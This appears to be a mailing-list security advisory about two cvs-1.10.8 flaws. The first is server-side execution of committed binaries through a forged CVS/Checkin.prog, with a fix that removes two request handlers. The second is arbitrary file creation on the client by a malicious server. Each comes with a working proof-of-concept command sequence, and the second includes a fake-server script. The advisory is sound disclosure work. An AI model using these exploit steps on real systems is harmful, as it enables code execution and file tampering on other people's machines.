I found two security problems in cvs-1.10.8. (1) A committer can execute any binary in server using CVS/Checkin.prog or CVS/Update.prog. A committer can execute arbitrary binary on a cvs server using Checkin.prog. Usually CVS/Checkin.prog in a working directory is copied from CVSROOT/modules when the directory is checkouted and it is sent back to the server and executed with committing. Note that when it is executed, committed files are exsists in a current directory. Since a working directory can be modified by a committer which have the working directory, Checkin.prog may be modified or even newly created. If an evil committer do it, cvs server executes such forged Checkin.prog. Also note that the evil committer can create arbitrary binary file by `cvs add -kb' and `cvs commit'. So the evil committer can execute just committed binary file by via Checkin.prog triggerd by the `cvs commit'. Note that similar problem exists with CVS/Update.prog. Following example is that a committer sends `ls' binary and executes in the server. (it assumes that the server and the client is same architecture.) % cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule cvs server: Updating somemodule % cd somemodule % cp /bin/ls binary % cvs add -kb binary cvs server: scheduling file `binary' for addition cvs server: use 'cvs commit' to add this file permanently % echo ./binary > CVS/Checkin.prog % cvs commit -m 'test' cvs commit: Examining . RCS file: /tmp/cvs/somemodule/binary,v done Checking in binary; /tmp/cvs/somemodule/binary,v <-- binary initial revision: 1.1 done cvs server: Executing ''./binary' '/tmp/cvs/somemodule'' #cvs.lock #cvs.wfl.serein.m17n.org.14330 binary,v This problem can be fixed by disabling two requests. --- server.c- Fri Apr 28 15:37:13 2000 +++ server.c Fri Apr 28 15:38:06 2000 @@ -4553,8 +4553,6 @@ REQ_LINE("Max-dotdot", serve_max_dotdot, 0), REQ_LINE("Static-directory", serve_static_directory, 0), REQ_LINE("Sticky", serve_sticky, 0), - REQ_LINE("Checkin-prog", serve_checkin_prog, 0), - REQ_LINE("Update-prog", serve_update_prog, 0), REQ_LINE("Entry", serve_entry, RQ_ESSENTIAL), REQ_LINE("Kopt", serve_kopt, 0), REQ_LINE("Checkin-time", serve_checkin_time, 0), (2) cvs server can instruct to create any file at any locaiton in client machine. With cvs protocol, client side paths are processed by server and client blindly trusts paths in server responses, cvs server can create any file at any locaiton in client machine. For example, if a client tries to checkout a module `tst' as: % cvs -f -d :ext:user@server:/cvsroot co tst and server includes a dangerous response as follows to its responses, the cilent creates /tmp/foo. Created /tmp/ /cvsroot/tst/foo /foo/1.1/// u=rw,g=rw,o=rw 4 abc This problem can be test yourself as follows. Although this example runs faked cvs server using :ext: method, this vulnerability is available in any methods (including :pserver: of course). % ls -l /tmp/foo ls: /tmp/foo: No such file or directory % cat crackers-cvs-server #!/bin/sh cat <<'End' Valid-requests Root Valid-responses valid-requests Repository Directory Max-dotdot Static-directory Sticky Checkin-prog Update-prog Entry Kopt Checkin-time Modified Is-modified UseUnchanged Unchanged Notify Questionable Case Argument Argumentx Global_option Gzip-stream wrapper-sendme-rcsOptions Set Kerberos-encrypt expand-modules ci co update diff log add remove update-patches gzip-file-contents status rdiff tag rtag import admin export history release watch-on watch-off watch-add watch-remove watchers editors init annotate noop ok Module-expansion tst ok Clear-sticky tst/ /cvsroot/tst/ Clear-static-directory tst/ /cvsroot/tst/ E cvs server: Updating tst Created /tmp/ /cvsroot/tst/foo /foo/1.1/// u=rw,g=rw,o=rw 4 abc ok End % CVS_RSH=./crackers-cvs-server cvs -f -d :ext:user@server:/cvsroot co tst cvs server: Updating tst cvs checkout: in directory /tmp: cvs checkout: cannot open CVS/Entries for reading: No such file or directory cvs checkout: cannot open CVS/Entries.Log: No such file or directory % ls -l /tmp/foo -rw-r--r-- 1 akr wheel 4 Jul 19 22:01 /tmp/foo % cat /tmp/foo abc Currently, I don't have a patch to fix this problem. -- Tanaka Akira